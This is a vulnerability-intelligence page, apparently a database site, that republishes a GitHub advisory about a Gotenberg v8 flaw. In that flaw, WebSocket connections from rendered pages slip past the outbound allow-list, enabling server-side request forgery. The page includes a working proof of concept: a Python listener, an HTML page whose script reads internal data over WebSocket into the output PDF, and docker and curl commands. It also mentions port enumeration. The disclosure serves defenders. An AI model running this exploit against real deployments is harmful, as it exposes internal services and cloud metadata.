llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/gotenberg/gotenberg/v8

GHSA-73VQ-MH8C-27WG

WebSocket connections bypass outbound allow-list policy (SSRF)

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -2 d de la divulgación
Exposición37 dDesde la divulgación, 15 oct 2026, 11:16 a. m.
Detección34 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Se arregla en el próximo ciclo. Sin estrés.Si tu inventario está al día, ya ganaste.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v8.38.0
Monitoreo
Detectada +1
13 oct 26
15 oct 26
18 nov 26
21 nov 26
13 oct 26
23 oct 26
2 nov 26
12 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche v8.38.0 github.com/gotenberg/gotenberg/v8 · -2 d desde divulgación
Divulgación Publicada GHSA-73VQ-MH8C-27WG divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

When an operator restricts outbound access with --chromium-allow-list /
--chromium-deny-list but does not enable the IP-class flags
(--chromium-deny-private-ips / --chromium-deny-public-ips, both default to
false), the configured URL policy is not enforced against WebSocket
connections opened by page JavaScript. A WebSocket to 127.0.0.1, ::1,
localhost, or link-local addresses (169.254.169.254 — cloud instance
metadata) completes successfully.

Actually gotenberg detects the violation and writes "warn" level log with message "{{ws://ip:port/some/route}} does not match any expression from the allowed list: value filtered", but actually but the connection is left intact. HTTP requests to the same blocked resource is banned properly, but websockets could exfiltrate data.

Details
  1. WebSocket handshakes are invisible to the request interceptor.Chromium never surfaces a WebSocket handshake as fetch.EventRequestPaused,so listenForEventRequestPaused (which can block viafetch.FailRequest, events.go:158-169) never sees it. This is documented inthe code's own comment at pkg/modules/chromium/events.go:54-68.
  1. The WS listener validates but cannot block.listenForEventWebSocketCreated (pkg/modules/chromium/events.go:69-94)calls gotenberg.FilterOutboundURL and, on rejection, only doeslogger.WarnContext(err.Error()) — per its own comment it "records anoperator-visible warning". The comment states the connection "is severed bythe pinning proxy, which every WebSocket handshake traverses once theimplicit loopback / link-local proxy bypass is removed".
  1. That removal is gated on the IP-class flags only.pkg/modules/chromium/browser.go:205-225:

if b.arguments.denyPrivateIPs || b.arguments.denyPublicIPs { opts = append(opts, chromedp.Flag("proxy-bypass-list", "<-loopback>"))}

With a lists-only configuration this flag is absent, so Chromium bypassesthe pinning proxy for loopback/link-local destinations entirely and thehandshake goes direct. Neither enforcement layer fires; the operator sees a"does not match any expression from the allowed list" warning while theconnection is established.

  1. The project clearly intends the lists to cover WebSocket.httpLikeScheme (pkg/gotenberg/outbound.go:258-263) includes ws/wss;both listeners were introduced for issue #1011; and the --chromium-allow-listhelp text (pkg/modules/chromium/chromium.go:478) markets the lists as acontrol for internal hosts (example pattern ^https?://internal\.svc(:|/|$)).
  1. Default state of the flags: --chromium-deny-private-ips defaults tofalse (chromium.go:480), so a lists-only configuration is a natural,documented setup in which this gap exists.
Proof of concept

as PoC i will use
1. some websocket listener service that simulating internal services like grafana etc.:

> cat list.py
import socket, base64, hashlib, struct, threading, json, datetime

def make_frame(msg):
    b = msg.encode()
    if len(b) < 126:
        return bytes([0x81, len(b)]) + b
    else:
        return bytes([0x81, 126]) + struct.pack(">H", len(b)) + b

def read_frame(conn):
    hdr = conn.recv(2)
    if not hdr or len(hdr) < 2:
        return None
    length = hdr[1] & 0x7F
    if length == 126:
        length = struct.unpack(">H", conn.recv(2))[0]
    elif length == 127:
        length = struct.unpack(">Q", conn.recv(8))[0]
    masked = bool(hdr[1] & 0x80)
    mask = conn.recv(4) if masked else b""
    payload = conn.recv(length) if length else b""
    if masked and payload:
        payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
    return payload.decode("utf-8", "replace")

SERVICES = {
    "/": {
        "name": "Generic Internal API",
        "data": json.dumps({
            "service": "internal-api",
            "timestamp": datetime.datetime.now().isoformat(),
            "environment": "production",
            "note": "demo payload - not real secrets",
        }, indent=2)
    }
}

def is_ws_upgrade(headers_text):
    lower = headers_text.lower()
    return "upgrade: websocket" in lower and "connection:" in lower and "upgrade" in lower

def handle(conn, addr):
    try:
        conn.settimeout(15)
        data = b""
        while b"\r\n\r\n" not in data:
            chunk = conn.recv(4096)
            if not chunk:
                break
            data += chunk

        text = data.decode("latin-1", "replace")
        first_line = text.split("\r\n")[0] if text else ""
        method = first_line.split(" ")[0] if " " in first_line else "GET"
        path = first_line.split(" ")[1] if " " in first_line else "/"
        service = SERVICES.get(path, SERVICES["/"])

        if is_ws_upgrade(text):
            # real WebSocket handshake only
            key = ""
            for line in text.split("\r\n"):
                if "Sec-WebSocket-Key" in line:
                    key = line.split(": ")[1].strip()
            accept = base64.b64encode(
                hashlib.sha1((key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").encode()).digest()
            ).decode()
            conn.sendall((
                "HTTP/1.1 101 Switching Protocols\r\n"
                "Upgrade: websocket\r\n"
                "Connection: Upgrade\r\n"
                f"Sec-WebSocket-Accept: {accept}\r\n\r\n"
            ).encode())
            print(f"[WS ] handshake: {addr} path='{path}' ({service['name']})")
            conn.sendall(make_frame(service["data"]))
            print(f"[WS ] sent {len(service['data'])} bytes")
            try:
                msg = read_frame(conn)
                if msg:
                    print(f"[WS ] browser sent: {msg[:80]}")
            except Exception:
                pass
        else:
            # plain HTTP response, regardless of method
            body = service["data"].encode()
            resp = (
                "HTTP/1.1 200 OK\r\n"
                "Content-Type: application/json\r\n"
                f"Content-Length: {len(body)}\r\n"
                "Access-Control-Allow-Origin: *\r\n"
                "Connection: close\r\n\r\n"
            ).encode() + body
            conn.sendall(resp)
            print(f"[HTTP] {method} {addr} path='{path}' ({service['name']}) -> 200")

    except Exception as e:
        print(f"[!] error: {e}")
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", 9999))
    s.listen(16)
    print("=== Internal Service Simulator (HTTP+WS aware) ===")
    print("Listening on :9999")
    print("====================================================")
    while True:
        conn, addr = s.accept()
        threading.Thread(target=handle, args=(conn, addr), daemon=True).start()

if __name__ == "__main__":
    main()
  1. test_schemes.html which would fetch via websockets internal services
<!-- test_schemes.html -->
<!DOCTYPE html>
<html>
<body>
<pre id="out">testing...</pre>
<script>
const results = {};
const target = "127.0.0.1:9999";

function done() {
  document.getElementById("out").innerText = JSON.stringify(results, null, 2);
}

// HTTP — просто fetch на тот же listener
fetch("http://" + target + "/", { mode: "cors" })
  .then(r => r.text())
  .then(body => {
    results["http"] = "OPEN";
    results["http_data"] = JSON.parse(body); // покажет реальный payload в PDF
  })
  .catch((e) => { results["http"] = "BLOCKED: " + e.message; });

// HTTPS — долетит до TCP, но упадёт на TLS handshake, т.к. listener не TLS
fetch("https://" + target + "/", { mode: "no-cors" })
  .then(() => { results["https"] = "OPEN"; })
  .catch((e) => { results["https"] = "BLOCKED/TLS-FAIL: " + e.message; });

// WS
const ws = new WebSocket("ws://" + target + "/grafana");
ws.onopen = () => { results["ws"] = "OPEN"; };
ws.onmessage = (e) => {
  results["ws_data"] = e.data; // покажет grafana credentials в PDF
  ws.close();
};
ws.onerror = () => { results["ws"] = "BLOCKED"; };

setTimeout(done, 5000);</script>
</body>
</html>

3. working gotenberg instance with flag --chromium-allow-list='^http://127\.0\.0\.1:8000' :
docker run --rm --network host \
gotenberg/gotenberg:8.37.0 gotenberg \
--chromium-allow-list='^http://127\.0\.0\.1:8000'

4. now we just send http request like this
> curl -s \
-F "url=http://127.0.0.1:8000/test_schemes.html" \
-F "waitDelay=6s" \
-o result_schemes1.pdf \
http://127.0.0.1:3000/forms/chromium/convert/url

and then we can see that websocket request is working but not http and we get rendered PDF:
{
"http": "BLOCKED: Failed to fetch",
"https": "BLOCKED/TLS-FAIL: Failed to fetch",
"ws": "OPEN",
"ws_data": "{\n \"service\": \"internal-api\",\n
\"timestamp\": \"2026-10-04T19:25:22.632691\",\n
\"environment\": \"production\",\n
\"
}

but if we will start gotenberg without flag --chromium-allow-list='^http://127\.0\.0\.1:8000':
> docker run --rm --network host \
gotenberg/gotenberg:8.37.0 gotenberg

and then again do request
> curl -s \
-F "url=http://127.0.0.1:8000/test_schemes.html" \
-F "waitDelay=6s" \
-o result_schemes.pdf \
http://127.0.0.1:3000/forms/chromium/convert/url

we get rendered result_schemes.pdf:
{

"ws": "OPEN",
"ws_data": "{\n \"service\": \"internal-api\",\n
"http": "OPEN",
"http_data": {
"service": "internal-api",
"timestamp": "2026-10-04T19:25:22.632691",
"environment": "production",
"note": "demo payload - not real secrets"
}
\"timestamp\": \"2026-10-04T19:25:22.632691\",\n
\"environment\": \"production\",\n
\"
}

Impact

Server-Side Request Forgery (SSRF) via an outbound-policy enforcement gap; protection-mechanism failure.

Who is impacted: deployments that restrict Chromium's outbound access with the allow/deny-lists while leaving --chromium-deny-private-ips / --chromium-deny-public-ips at their default (false). This is a documented, recommended configuration - the flag help text itself suggests allow-listing internal hosts. Attackers: anyone who can submit a conversion URL, or who controls content rendered from an allow-listed origin (e.g. stored XSS on an allowed host).

Even without a WS-capable service, open/closed port enumeration is possible via ws.onopen vs ws.onerror timing.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/gotenberg/gotenberg/v8< 8.38.0
8.38.0
v8.40.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/gotenberg/gotenberg/v8
Corregida v8.38.0 -2 d v8.40.0 no afectada
Versiones corregidas8.38.0v8.38.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/gotenberg/gotenberg/security/advisories/GHSA-73vq-mh8c-27wg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.